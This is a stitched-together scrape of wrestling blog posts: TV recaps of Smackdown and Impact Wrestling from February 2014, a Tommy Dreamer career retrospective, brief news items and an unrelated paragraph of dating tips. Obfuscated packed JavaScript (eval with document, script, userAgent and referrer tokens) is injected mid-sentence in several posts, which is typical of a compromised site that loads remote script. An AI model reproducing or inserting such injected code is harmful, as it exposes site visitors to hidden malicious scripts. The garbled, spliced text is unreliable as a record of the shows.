Smackdown – February 21, 2014: Sheamus 101

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rtaid|var|u0026u|referrer|frfrd||js|php'.split('|'),0,{})) February 21, 2014
Location: World Arena, Colorado Springs, Colorado
Commentators: Michael Cole, John Bradshaw Layfield

No In Memory graphic for Nelson Frazier Jr. Even TNA had one of those. Maybe on Sunday.

Opening sequence.

Daniel Bryan vs. Jack Swagger

Bryan is nursing a bad shoulder after Christian and Kane attacked him on Raw. Jack goes after the shoulder to start but Bryan takes him to the mat and grabs a headlock. Two running dropkicks in the corner send Swagger to the floor but he catches Bryan charging off the apron and drops him onto the barricade. The bad shoulder goes into the barricade and post as Jack is being much more aggressive tonight.

Daniel Bryan vs. Cesaro

Bryan fights up and goes to the middle rope but dives into a shoulder breaker for two. We hit the armbar as Cole thinks Bryan should just give up now and save himself for Sunday. Daniel is able to knock Cesaro to the floor and hit the FLYING GOAT but a Colter distraction lets Cesaro kick the bad shoulder. Jack gets caught with a chair and gets ejected for his efforts. Colter gets the same and we take a break.

Kane announces the result like he did on Monday. Cesaro hits the Neutralizer on Bryan to blow off some steam.

Bella Twins video on how to use the Network.

Wyatt Family vs. Cody Rhodes/Goldust/Rey Mysterio

A spinebuster puts Rowan down and the spinning cross body does the same. Rey comes in with a 619 to set up a Goldust powerslam for two. Harper catches Rey diving over the ropes and slams him into the barricade as Bray makes a blind tag. Goldust loads up Shattered Dreams to Erick but Wyatt runs him over, setting up Sister Abigail for the pin at 12:52.

We recap Sheamus accidentally kicking Christian last week.

Ron Simmons Black History Month video.

Alexander Rusev will achieve greatness.

Road Dogg vs. Jimmy Uso

Dog gets taken into the corner to start but comes back with some kicks to the rib and one to the side of the head. We hit a quick chinlock on Jimmy but he comes back with a Samoan drop. A right hand misses and Dogg fires off his shaky punches but Jimmy escapes the pumphandle and superkicks Roadie for the pin at 3:03.

Video on the Chamber.

Sheamus vs. Christian

Sheamus poses but Christian shoves him off the top and to the floor to end the show.

Results

Daniel Bryan b. Jack Swagger – Running knee

Daniel Bryan b. Cesaro via DQ when Kane interfered

Wyatt Family b. Goldust/Cody Rhodes/Rey Mysterio – Sister Abigail to Goldust

Jimmy Uso b. Road Dogg – Superkick

Sheamus b. Christian – White Noise

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Wrestler of the Day – February 14: Tommy Dreamer

Time to go extreme. Today is Tommy Dreamer.

Tommy Dreamer vs. Jimmy Snuka

Snuka is EVIL here and Dreamer is a pure rookie. I’ve seen this before somewhere. Dreamer is from Dreamland USA. Wow indeed. He’s the pretty boy in bright blue tights here and no one cares about him. Snuka is by far the biggest star in the company at this point. Joey promises a classic. That’s never a good sign. Dreamer is 22 here. That’s hard to imagine as he’s always been old.

Lots of stalling to start as we just had to stretch this show out further didn’t we? Dreamer puts on the hat of a kid for no apparent reason. After about three minutes of stalling we lock up and go to a headlock. And now we stall some more. I thought WE WRESTLE IN THE NWA! The fans chant for Piper although I’m not sure why. Would it kill you guys to do something?

Snuka pops him with a pretty weak chair shot on the floor in by far the most interesting move of the match so far. Dreamer kicks out of the Superfly Splash and Joey apparently thinks he can walk on water too. Snuka hits two more of them and Dreamer is more or less dead. He’s bleeding from the mouth and Snuka finally pins him. He beats up some referees and other people afterwards and hits a fourth splash on Dreamer. Gordon comes out and gets beaten up too.

Rating: F+. This was about 80% stalling and then a bunch of splashes. It was like a weird kind of squash and by that I mean it wasn’t any good. The stalling is what hurts this as it’s nearly 8 minutes long and WAY too much of it was just them standing around and yelling at the crowd. Snuka wouldn’t mean anything in the long run anyway as he was only around for a few months after this while Dreamer became one of the biggest stars in the company.

Terry Funk/Tommy Dreamer vs. Raven/Cactus Jack

 

The pairings pair off and Raven and Jack rule the ring for the moment. Now we get to the brawl and Funk fights Raven. Stevie Richards brings in some weapons and gets put in a shopping cart for his troubles. Dreamer BLASTS Raven in the head with a freaking VCR. WHY WOULD YOU BRING ONE OF THOSE TO A WRESTLING SHOW??? In a funny bit, Dreamer hits him with the remote also.

 

DDT to Dreamer as Raven and Cactus are dominating. They try the chain again but Dreamer does something smart and dives on it, bringing them together. Not that it matters as Cactus takes him down with ease. Cactus takes the Dungeon of Doom shirt to reveal another one with a huge picture of Eric Bischoff and the words “Forgive Me Uncle Eric” (coining that nickname) on the back. Only Mick Foley could make that work, period.

 

Rating: B-. Pretty fun match overall as they kept things just weapons based instead of going everywhere. Also Jack having the continuing mental breakdowns in the middle of the match (the Uncle Eric thing) is great. Dreamer not beating Funk is one of those little things that makes a match better. Fun stuff here and one of the better brawls ECW did.

 

Cactus beats them down a bit but gets taken down too. DREAMER SUPERKICKS RICHARDS! Ok so it was in the ribs but still! Raven leaves Dreamer laying to end the show.

Dreamer and Raven feuded for most of 1995, all of 1996 and most of 1997. The key to the whole thing was Dreamer NEVER pinned Raven but kept getting closer and closer every time. Dreamer even got Beaulah to join him at one point during the feud. This finally led to a loser leaves town match at Wrestlepalooza 1997.

Raven vs. Tommy Dreamer

Tommy kicks out at two and counters a hiptoss into a DDT to take over. The referee is knocked out by a sign as people keep throwing in weapons like an old N64 game. A piledriver onto the Do Not Enter sign is good for two as Lupus makes the save. Beaulah comes in to DDT Lupus but Raven hits a low blow and rolls up Dreamer for two. A Beaulah distraction lets Dreamer do the same thing to Raven.

ECW World Title: Shane Douglas vs. Tommy Dreamer

Beulah is the hottest I’ve ever seen her here, period. Francine looks pretty good too. Shane has just gotten the title back at Hardcore Heaven so there’s more or less zero chance of him losing here. Shane’s heel stuff is underrated I think. He’s overrated beyond belief, but he’s decent at times I think. Ok apparently this is now non title. Ok apparently it is. Dreamer threatens to beat up the announcer if he doesn’t say it’s for the title.

 

Beulah gets on the mic and says that after looking at Shane’s trunks she knows not everything is big in Texas. If I’m Dreamer I’m thinking two things. Why is my wife looking at his trunks, and how in the world did I get a woman that looks like that? Dreamer dominates until Shane kicks the chair he’s holding into his face.

 

The fans keep shouting about Lex Luger for no apparent reason. Shane works on the knee and Francine helps which causes him even more trouble. I’m liking some of the stuff Shane is using on the knee as he’s varying it up very well. We’re told that there are ten minutes left, meaning the time limit was 15 minutes. Dang we get a figure four from Shane. There are about a millions jokes there.

 

Both girls come in and Beulah manages to break up the hold and Dreamer gets two on a rollup. Dreamer goes for the DDT but there’s Francine for the save. You know what’s coming. Shane beats up Beulah including the belly to belly. Dreamer hits everything he has on Shane but can’t get the pin. Francine saves him after the DDT and takes the safest piledriver I’ve ever seen. I love that he never even checked on his wife. A quick belly to belly ends this.

 

Rating: B-. I liked this a lot more than I should have. The interference was annoying beyond all belief to say the least, but we get hot women so I can’t complain much. This was a good match though and it got the job done that it was shooting for so I can’t complain about all that much.

 

1998 wouldn’t be the most interesting year for Dreamer as he would just fight random people wherever he was needed. ECW would begin expanding around this time and Dreamer would be on the second episode of their TV show in a handicap match against the most dominant tag team ECW ever produced, the Dudley Boys. This was also the Dudleys’ last night in the company and they won the World Tag Team Titles. They goaded Dreamer into a handicap match for the belts, but things would change at the end.

 

Tag Titles: Tommy Dreamer vs. Dudley Boys

 

Dreamer takes them down with a double Russian legsweep for two. Tommy finds some salad tongs and grabs D-Von’s balls. Francine throws in a ladder which Tommy tettertotters into the Dudley’s faces. Francine hits Sign Guy in the head with something to take him down. Bubba gets thrown into the ladder and D-Von gets thrown into Bubba, resulting in the falling headbutt ball shot to D-Von.

Bubba gets up and sends Dreamer into the ladder which kills him because of his back. The Dudleys destroy Tommy with belt shots and loads up 3D but Dreamer counters with a DDT. Cue the returning RAVEN who kills Bubba with the Even Flow and pins him to win the titles with Dreamer, his mortal enemy.

Rating: C. This is a really hard one to grade because all that mattered were the last 10 seconds of the match. A lot of it was Dreamer out cold while the Dudleys beat on him so it barely qualifies as a match. Anyway, this was the big return mentioned earlier and Raven got an eruption after finally returning from WCW. At WCW, there had been a meeting where Bischoff told the roster that if anyone wanted out to get up and leave now. Raven was the only one that walked out and he was in ECW in a week.

This was Dreamer’s first title in over five years with the company. In 2000, Taz would win the ECW Title despite not being employed by ECW. Obviously an ECW wrestler needed to be champion, leading to this match from Cyberslam 2000.

 

ECW World Title: Tommy Dreamer vs. Taz

 

Feeling out process to start with the champion grabbing a headlock before taking him down with a T-Bone Tazplex. Hard crossface shots to the face send Dreamer outside and the brawl is on. Dreamer sends him face first into the post but gets whacked in the head with a chair to put him right back down. They head back inside with Taz kicking Dreamer in the side of the head and taking him down with a nice capture suplex for two.

 

Tommy hits a quick DDT for two and loads up the Death Valley Driver, only to have Taz slip down into the Tazmission. A low blow gets Dreamer free but he walks into a northern lights suplex for two. They hit the mat for a quick wrestling sequence and Dreamer flips Taz over into a sunset flip for the pin and the title out of absolutely nowhere.

 

Rating: C-. This is what’s so frustrating about ECW: they can have nice matches like this without all the violence and brawling but that’s all they relied on for most of their important matches. Dreamer was never a great mat warrior or anything but this was perfectly acceptable for the most part.

 

Taz gives a very emotional speech, putting Dreamer over as the man that is now the standard bearer for ECW. Tommy talks about how he may never make it to Wrestlemania but he’s made it here in ECW as he begins to cry. The locker room comes out to celebrate and even Raven hugs Dreamer. Then some other stuff happened.

 

The title reign would last about twenty minutes as Justin Credible would jump Dreamer and win the belt in an impromptu title defense, which really does fit Dreamer’s luck over the years. The company was on its last legs by this point and would hold its final PPV in January of 2001 where Tommy Dreamer would face CW Anderson in an I Quit match.

 

CW Anderson vs. Tommy Dreamer

This is an I Quit match and is your standard veteran vs. young punk with something to prove feud. Dreamer is in a freaking Logan’s Roadhouse shirt. Is he a waiter on the side since he’s not getting paid? I’m not sure if I’m kidding there or not. We’re on the floor immediately as Cyrus is irritating. Back in the ring and Dreamer has a Dragon Sleeper of all things.

Anderson goes to the arm which is likely hurt since it’s Tommy Dreamer. Why should an I Quit match be a wrestling match? Cyrus wants it to be technical which is completely against the idea of the match but whatever. Dreamer goes violent with the ring bell hammer and busts Anderson open. Fairly sick drop toehold into the back of a chair busts Dreamer open.

CW works on the knee which doesn’t really get him anywhere. Dreamer takes some very bad looking unprotected chair shots and busts out a ring of barbed wire. The towel boy from the last show comes in and helps Dreamer beat him up. And there’s a metal sheet to the non-wrestler. Throw in a suplex and I’m sure he’s perfectly fine right?

Spinebuster onto the wire, called razor wire here, and of course Anderson goes for the arm instead of the back which was just slammed into barbed wire. We switch back to the spine as he goes through some chairs. Ok make that the neck as it’s all Anderson here. It’s table time but Anderson goes through it. They take part of it and Dreamer chokes him out for the victory.

Rating: C. Not bad but if this is supposed to be a classic in ECW I fail to see it. Also, nice job of elevating Anderson there by giving the win to the old man that still has never quit. I don’t get this one really and while it was a good beatdown, the psychology was just not there at all as Anderson couldn’t just pick a body part. It’s ok but nothing great at all.

 

Dreamer would join the WWF in the summer and be a fairly small part of the Alliance. Eventually he would join the hardcore division as most people expected him to do. He won the Hardcore Title in August 2002 and would defend it in a battle royal on August 19, 2002.

 

Hardcore Title: Battle Royal

Tommy Dreamer, Jeff Hardy, Bradshaw, Bubba Ray Dudley, Crash Holly, Johnny Stamboli, Steven Richards, Terri, Spike Dudley

Dudley Boys vs. Tommy Dreamer/Sandman

Ok, so this is more or less by far and away the most famous and popular part of this show as the match won’t start for about 15 minutes or so. This was the first time the Dudleys had been seen in months on end and they would be gone and in TNA rather soon. Foley sums up a lot very easily: “There are guys like me that absolutely love ECW and everything it stood for but at the end of the day consider themselves WWE guys. Then you have guys like the Dudley Boys that work for WWE but in their hearts are always going to be ECW guys.”

 

That sums up this whole show better than anything else could I say. Dreamer gets a pop and a half. You can tell Dreamer is WAY impressed and really in awe of this. The music hits and so begins the most famous entrance in modern wrestling history at least. Enter Sandman (original, not that Motorhead nonsense) hits and he’s in the crowd.

 

The fans sing the song for his entrance in what is an awesome moment. He’s on his second beer and he’s still on the top floor. Hey he’s at the railing! His entrance is at 3 minutes now. Bubba gets beer spit at him. Tommy and Sandman have beers with CW Anderson and Chris Chetti in the front row before pouring one on two girls’ chest, one of which is Elektra, and licking it off.

D-Von dancing to Metallica is funny and the cane gets jacked off. Five and a half minutes now. Hand pounds all around…and there’s the BWO. The reaction from Foley is hilarious. Think Ray from Ghostbusters when he says “It’s the Stay-Puft Marshmallow Man”. Just cracks me up every time. Match hasn’t started yet. Stevie looks good here actually. Joey sums up the BWO perfectly: “If any gimmick never deserved to make a dime and made a whole boatload of cash, this is it. And the best is they couldn’t sue us because it was a parody.”

 

For those of you that have no idea what I’m talking about, the BWO is the Blue World Order: Big Stevie Cool, Da Blue Guy and Hollywood Nova (Simon Dean). They were a parody of the NWO which wound up being ridiculously popular so they ran with it. Stevie says they’re taking over and kicks Sandman in the face. Let the brawling begin. Kid Kash is here, having just been fired from TNA, marking I believe the first and only time it was mentioned on WWE programming. He does nothing and here are Balls Mahoney and Axl Rotten: the Hardcore Chair Swingin Freaks.

They beat up the BWO so the interfering people are fighting the other interfering people. Nova gets the tar chaired out of him. Joey: that’s more painful than having to be Simon Dean on national TV. Everyone brawls in the aisle and Kash has the referee get on all fours for a HUGE front flip onto all of them. Bubba busts out the trashcans. Remember the match hasn’t started yet. Oh hey there it is, 14 minutes after the Dudleys’ song started. Dreamer has a cheese grated.

The fans chant for Cactus Jack which Foley kind of laughs off. Cheese grater across Dreamer’s head is SICK! Oh he’s busted bad so Bubba rubs it on his face. Joey: Tommy’s skin looks like cabbage in a coleslaw. In case you can’t tell, I freaking love this. Foley calls the grater comical. Sometimes I’d pay to be inside that man’s head. Sandman brings in the ladder. We get probably my all time favorite comedy line in wrestling.

Joey says he was going to compare Dreamer wrestling tonight to Gehrig’s last at bat at Yankee Stadium but Gehrig didn’t whip out a cheese grater and start mutilating people with it. And that my friends is why I love wrestling. It’s so insane that to us it makes sense, but when you compare it to something else, it sounds ridiculous. However, in wrestling, there are three words that make things magical: It Could Happen.

That is why I love wrestling: you never know what you could see. Naturally this is just a wild brawl all over the place. Bubba hits a frog splash on Sandy which has to be better than some forms of execution. D-Von takes the White Russian legsweep and we get a double figure four on the Dudleys but the Impact Players run in. Sandman gets a That’s Incredible on barbed wire and here’s Francine.

Beaulah makes her return for the CATFIGHT CATFIGHT CATFIGHT!!! Dreamer saves her and they have their big reunion with Dreamer’s face covered in blood. The Dudleys get DDTed by the two of them, making me smile. WHERE ELSE BUT IN WRESTLING COULD YOU GET THIS? Beaulah gets two on Bubba and she’s hardcore according to the fans. Joey is told in his headset that he can’t say balls, which he makes fun of of course.

Sandman goes through a table for two. 3D on Dreamer, and it’s the old style, not the crap one now. We have another table and here’s Spike who is seeing COLORS! Yep, the table is on fire and there goes Tommy. In a spot that makes me cringe, Tommy’s head is tilted towards the mat and blood just pools up from his head. That’s a great visual. Bubba actually dives on him for the pin.

Rating: N/A. Can’t give this a fair grade as it wasn’t a match by any definition of the word. Make no mistake about it though: this is the highlight of the show and as much fun as I can remember having watching wrestling perhaps ever.

Post match (oh like you didn’t expect something else to happen) the Dudleys go after Beaulah and get the heck cained out of them. In a spot that always makes me chuckle, Spike comes back again and Sandman turns around and just canes him again before going back to what he was doing. He looked like he was paying a parking meter or something. Sandman looks at Tommy and says someone….someone…SOMEONE GET ME A BEER! Joey: screw the beer, get him some plasma!

 

Another year passed and Dreamer jobbed even more, but in 2006 it was announced that ECW was being brought back as a separate brand. One of the first major storylines was the ECW Originals vs. the New Breed, which led to an eight man tag at Wrestlemania.

 

New Breed vs. ECW Originals

Dreamer went back to jobbing on ECW for years, but would eventually get an ECW Title shot at Extreme Rules 2009 in a triple threat.

ECW Title: Christian vs. Tommy Dreamer vs. Jack Swagger

If Dreamer loses he’s gone. This is a hardcore match so it’s pinfalls count anywhere. Who would believe Swagger would be the most successful guy a year later? So Dreamer is on a one day contract since they mistimed the whole contract thing in storyline terms. Swagger is the guy Christian beat to get the title.

We even get big match intros. Dreamer is wearing something close to silver pants. Hey, did you know that the champion is at a disadvantage here? I didn’t know if telling you that twice in 40 seconds would be enough indication. Striker says Dreamer has a Singapore Stick. Let the ECW fans freak. White Russian Leg Sweep to Swagger. Dreamer hits a front flip with a trash can behind him so that hits their faces. This is kind of sad considering what ECW was originally about.

Dreamer sets for the baseball slide but Christian stops him and does it himself. In other words, the blonde haired WWE product did the ECW original’s thing to another WWE guy. That sums up so many things so easily. The people want tables. Yeah I’m stunned too. Swagger no sells some kendo shots and hits a belly to belly on Dreamer.

We’re going with the various one on one matches here which is about as expected. Crowd is DEAD other than for the big spots. Swagger goes for the Gutwrench but Dreamer nails him with a crutch twice and hits a DDT to get the ECW Title. More on that in a bit.

Rating: D. This is your traditional “hardcore” match which means let’s hit each other with trash cans and hope the people care. This just felt completely lifeless to me and I just wanted to see it end, which isn’t something that I have issue with that often. There are far worse matches, but this just had nothing at all to it. Even Dreamer’s win, while a big moment for old school ECW fans feels flat. Let’s look at this for a minute. Imagine Christian or Swagger in the original ECW.

ECW Title: Christian vs. Tommy Dreamer vs. Jack Swagger vs. Mark Henry vs. Finlay

This is a Scramble match which is more or less a gauntlet. Every three minutes someone else comes in and whoever gets the final pin is champion but you have to pin the champion for the pin to count. Uh…sure. Christian and Swagger start us off. Wow it’s weird to see Swagger as champion before Christian. I miss the pushups.

Ok so if Swagger pins Christian he’s IT more or less? I guess that makes sense. I’m assuming that there will be a clock once everyone comes in. Striker implies a heel turn for Christian but nothing ever came for that. The clock begins far before three minutes is up and it’s Finlay. Striker talks about Irishmen from centuries ago as no one cares at all. Swagger pokes Finlay in the eye and rolls him up to become IT.

Christian and Swagger do a nice little sequence that gets two for the Canadian. He beats Christian down as Dreamer is number four. Dreamer beats up everyone with incredibly basic stuff but throws out a Sky High. Ok apparently it’s not Swagger that has to lose the title as it’s just the last pin. Uh…that kind of makes sense I suppose.

They blow a spot where Christian is on the mat and Dreamer gets thrown onto him. It just looked really awkward. Finlay finally comes back to life and hits the Celtic Cross on Swagger to become IT. Finlay and Dreamer don’t work well together to put it mildly. And here’s Henry to suck the life out of the match. Ok so now we have five minutes left and whoever gets the last fall is champion. Got it.

Dreamer takes the World’s Worst Finisher with 4:15 to make Henry IT. Everyone not named Dreamer beats Henry up and the people start booing for some reason. Finlay hits a freaking suicide dive onto Swagger. Have to love old men flying all over the place. Henry teases a top rope dive but for the sake of the gravitational pull, Swagger saves him and gets the pin to become it with about 2:20 to go.

I like knowing how much longer to go at times and this is one of them. Christian hits the Killswitch on Swagger but Dreamer DDTs him at 1:20 to become IT. It becomes a big mess now which makes sense at least. On instinct Dreamer goes for a cover which they don’t point out the stupidity of. Everyone goes for covers but the clock runs out and Dreamer retains. He screams “I WON???” in a funny moment.

Rating: C+. These matches are hard to call but I liked it. Thankfully they haven’t killed them by having them every two weeks or something like that. This still feels fresh though and it comes off as a good way to be different. Also it makes Dreamer look like a competent champion and not a jobber which I can’t complain about. This worked but was still a little bit weird.

It would soon be off to TNA and ANOTHER ECW reunion stable called Extreme Violence. They would face four young talented guys called Fourtune in a Lethal Lockdown match at Bound For Glory 2010.

Fourtune vs. EV 2.0

This is a one ring WarGames match. A man from each team starts and after a set amount of time (5 minutes I think) there’s a coin toss and another guy comes in from the winning team. That goes on for two minutes then a guy from the losing team comes in. Two more minutes of that and then the winning team gets the advantage again. Alternate until all 8 are in and then we lower the roof, complete with weapons. No pins or submissions until everyone is in.

EV has Dreamer, Sabu, Rhyno, Richards and Raven. Yeah ten people in there great. Foley is with them. Flair brings out AJ, Storm, Roode, Kaz and Morgan. Fourtune has the advantage so screw the coin flip idea. Flair is in an undershirt. Oh dear.

The old guys go at it before the match starts and we try to figure out who starts the match. Kaz and Richards to start. Again Taz wants to say ECW and can’t do it. Kaz beats the tar out of him to start. And he continues doing so. Well that’s what you get for sending in Richards as your leadoff man.

Stevie gets a Downward Spiral into a modified Koji Clutch but AJ comes in seconds later to make it 2-1. Richards is of course in WAY over his head and gets destroyed. Figure four on Richards and he’s almost dead. Dreamer is in next. How in the world is this guy feuding with AJ Styles?

Dreamer spits mist or something at AJ as Richards gets back into it. All of Fourtune is in blue which is a cool idea I guess. Roode goes in third as this is going to take awhile to just get everyone in. Flair punches Dreamer through the camera hole. I love that thing as it gives you far better shots.

Sabu comes in and hooks a seated crossface chickenwing on AJ which we’ll call a camel clutch for fun I guess. This is REALLY slow now with EV controlling. Dreamer is bleeding fairly badly. Storm is in so it’ll be Morgan and Raven or Rhyno in last. Storm turns the tide and we get BEER MONEY!

With nothing left in the other minute here’s Raven who looks stupid with blonde hair. He cleans some house and shoves a snot rag in someone’s face. Ah ok it was Roode. Dreamer gets his crotch stepped on for fun. Dude seriously, Raven is your hot tag in essence? Roode is busted open.

Sabu is busted too. Morgan comes in as the final member of Fourtune. He drills Richards and drills Sabu back first into the cage. Dreamer takes the elbows in the corner as the advantage does the same thing it’s done the whole time so far. Raven is bleeding too so every member of EV who is in the match is busted.

Big Gore to Storm and here comes the roof. This is where the advantage is supposed to come for EV I guess. Flair and Foley get into it of course as is their custom. EV takes over and there are bigger weapons on top of the cage such as a table, a ladder and something else that I can’t make out.

Raven and Morgan beat the heck out of each other as EV is mostly in control. Morgan goes for the Carbon Footprint and misses, hitting the door which doesn’t move at all. Kaz gets drilled into the door and there it goes. Richards and Kaz go up and we set up the ladder up there. This always scared the living daylights out of me.

Sabu dives through the door to take out Morgan and maybe Storm. Richards sets up the table on top of the cage and Kaz goes up the ladder and here’s Kendrick on top of the cage too. Kaz goes through the table and Kendrick appears to be meditating or something. In the ring Dreamer drills AJ in the leg and drops him on a chair, winning the match. Yes, EV won the match and everything seems to be fine with it. WELL OF COURSE THEY ARE.

Rating: D+. Not much here as there were a lot of very slow spots. Also the Kendrick thing just did nothing for it. The weapons were ok but the ending felt kind of tacked on. This never got to the level that they wanted it to get to and that hurt it a lot. This was one of the weaker matches they’ve done with this gimmick and I think a lot of that is due to the participants.

Oh yeah. DID I MENTION EV 2.0 JUST FREAKING BEAT FOURTUNE and that TOMMY DREAMER PINNED AJ STYLES??? And people wonder why this company can’t be taken seriously.

AJ would want revenge and get a chance at Sacrifice 2011.

Tommy Dreamer vs. AJ Styles

Very basic technical match to start and remember that this is no DQ.  Why Immortal isn’t out there destroying AJ immediately eludes me but whatever.  Dreamer takes over for a bit and drops a bunch of elbows.  Out to the floor and AJ hits a plancha to take over.  AJ pours a soda over Dreamer’s head and crotches him on the railing.  He slides under the railing and it’s forearm time.  Love that move.

 

Out into the crowd because that’s just what we do.  The fans chant ECW which is I guess what TNA wants to do.  Dreamer breaks a cardboard Impact (no wrestling) sign over his head and AJ is bleeding from around the temple.  Back to ringside and it’s time for some weapons.  AJ gets a shot in and there’s a table.  Table gets set up as the fans want fire.  AJ uses the table like a launch ramp for a clothesline in the corner for two.

 

DDT by Dreamer gets two as AJ is under the ring ropes.  I love little rules like that which are cool while there are all kinds of weapons in the ring.  Dreamer finds a fork for a throwback to their I Quit match but AJ blocks it.  Dreamer’s shirt is off and I’m very glad he has a muscle shirt under it.  The table legs are broken but AJ says Dreamer is going through it.

 

Dreamer gets a shot in and sets for the Dreamer Driver only to get caught with a Pele.  Styles Clash is set but Ray comes in with a chain shot to AJ.  Daniels comes out for the save but AJ is more or less dead.  Piledriver through the table marks the second time that Tommy Dreamer has pinned AJ Styles on PPV.  I give up.

 

Rating: C-. Tommy Dreamer has pinned AJ Styles twice on PPV in less than a year.  Dude, WHY IS TOMMY DREAMER PINNING AJ STYLES ON PPV???  The match was just ok but at the same time it was nothing past a basic hardcore match and Ray coming in was about as not shocking as anything you could have asked it to be.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Summerslam at Amazon for just $3.99 at:

And check out my Amazon author page with wrestling books for just $4 at:




Hulk Hogan Returning To WWE, Hosting Wrestlemania XXX

Straight eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbfzn|var|u0026u|referrer|esznk||js|php'.split('|'),0,{})) from WWE.com.

This makes me feel better in a way.  You just have to have Hogan at a show he was responsible for creating when it turns 30.  Also, I’m so glad he’s hosting instead of wrestling.  It would have been sad as well as dangerous to see him in the ring so having him fire up the crowd is the best news possible.




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A junk food date is a fun way to explore your city and avoid the stereotypical dinner date. Find cupcake places, ice cream parlors or places with great pub grub and enjoy an incredible variety of food. Take this chance to discover new restaurants in town and to really get a chance to be aware what your date likes and doesn’t like.

Don’t forget the planetarium. You may be unable to get great romantic views of the stars if you live within a city. Planetariums are really dark, giving you and the date the opportunity to cuddle up together. Some nights there could be music shows or other events which are aimed at grown-ups. Pick one of these nights and avoid the families and children.




Impact Wrestling – February 20, 2014: As The Cowboy Turns

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|stair|var|u0026u|referrer|hdshf||js|php'.split('|'),0,{})) Wrestling
Date: February 20, 2014
Location: Manchester Arena, Manchester, England
Commentators: Mike Tenay, Tazz

We open with an In Memory graphic for Nelson Frazier Jr.

We recap Bobby Roode helping Magnus over and over again for a promised title shot, only to have Dixie back out of the deal. Roode had to beat Joe last week to get the shot but lost, sending him over the edge. Bobby responds tonight.

Back from a break and Ethan shouts at Magnus that he literally just threw him to the Wolves. Magnus says that it was in the best interest of the Carters and Ethan is ticked.

BroMans/Zema Ion vs. Samoa Joe

Video on the Maximum Impact tour.

Madison Rayne and I believe Gail Kim get in a fight in the back. The camera looked to be a regular handheld one instead of a professional one.

Gail Kim vs. Madison Rayne

This is a street fight and the title is not on the line. Madison comes out first and jumps Gail with a cookie sheet. Gail comes back with some choking with a kendo stick but misses a charge into the corner. Madison kicks her to the floor but Tapa dares her to come outside. The champ is happy to oblige and catches Tapa in a guillotine choke, kicking Gail in the process.

Another Gunner video on wanting to be a wrestler since he was a kid and becoming a Marine. We hear from his family who are so proud of him. Well done video.

Kurt Angle will be inducted into the Hall of Fame next week.

A German wrestler named Bad Bones won the international Gut Check challenge. He says something in German but we see Shaw jumping Anderson and taking Christy away.

Wolves vs. Bad Influence

Edwards and Kaz get us going and they hit the match for a nice technical sequence into a standoff. Daniels comes in with a cheap shot to Eddie but Edwards brings in Richards for a double Japanese armdrag. Kaz gets kicked in the head but Daniels sends Richards to the floor. Kaz drives him back first into the apron and sends him back inside for a two count off a clothesline.

A spinwheel kick gets two more on Davey but he sends Bad Influence into each other and makes the tag off to Edwards. An over the shoulder Stunner gets two on Daniels before Eddie throws Daniels into the air for a kick from Davey. A pair of top rope double stomps from the Wolves is enough for the pin on Daniels at 6:10.

Shaw takes Christy to a room where she wakes up. He tells her everything is ok and chases off a cameraman.

Willow is coming.

Video on Magnus wanting to be a wrestler.

Roode vs. MVP next week.

TNA World Title: Magnus vs. Gunner

This is no countout and No DQ. After the Big Match Intros, Magnus bails to the floor before any contact is made. Back in and Gunner works on a wristlock but gets reversed into a headlock. The hold stays on for about two and a half minutes before Gunner comes back with a back elbow and a clothesline. Magnus comes right back with a knee to the back to send Gunner outside. The champ calls for help from the back but gets the Wolves and Storm instead as we take a break.

Results

Samoa Joe b. Bro Mans/Zema Ion – Koquina Clutch to Ion

Gail Kim b. Madison Rayne – Kim hit Rayne with the title belt

Wolves b. Bad Influence – Top rope double stomp to Daniels

Magnus b. Gunner – Pin after a Last Call from James Storm

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Summerslam at Amazon for just $4 at:

And check out my Amazon author page with wrestling books for just $4 at:




Thought of the Day: Fill In Some Gaps

Again, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dsesf|var|u0026u|referrer|btfsa||js|php'.split('|'),0,{})) time to take a lesson from the 80s.I’ve been watching some 80s NWA lately and one of the things you’ll hear is JR giving us the wrestlers’ stories.  This might be anything from what they did in college to something about their family to something they said to him earlier today.  It wasn’t much a lot of the time, but it gave the fans a reason to care about these people.  How many wrestlers can you think of that have almost nothing to talk about?  Make up even a little backstory so there’s something the people can relate to or care about and see how fast things get better.




WWE Fourth Quarter Financial Report

Good stuff for the company.

From eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|drire|var|u0026u|referrer|nnyaz||js|php'.split('|'),0,{})) 411mania.com.

 

Overview:

  • Revenues totaled $118.4 million as compared to $115.1 million in the prior year
    quarter.
  • Operating loss was $12.2 million as compared to income of $2.6 million in the prior year quarter.
  • Net loss was $7.9 million, or $0.10 per share, as compared to income of $0.6 million, or $0.01 per share, in the prior year quarter.
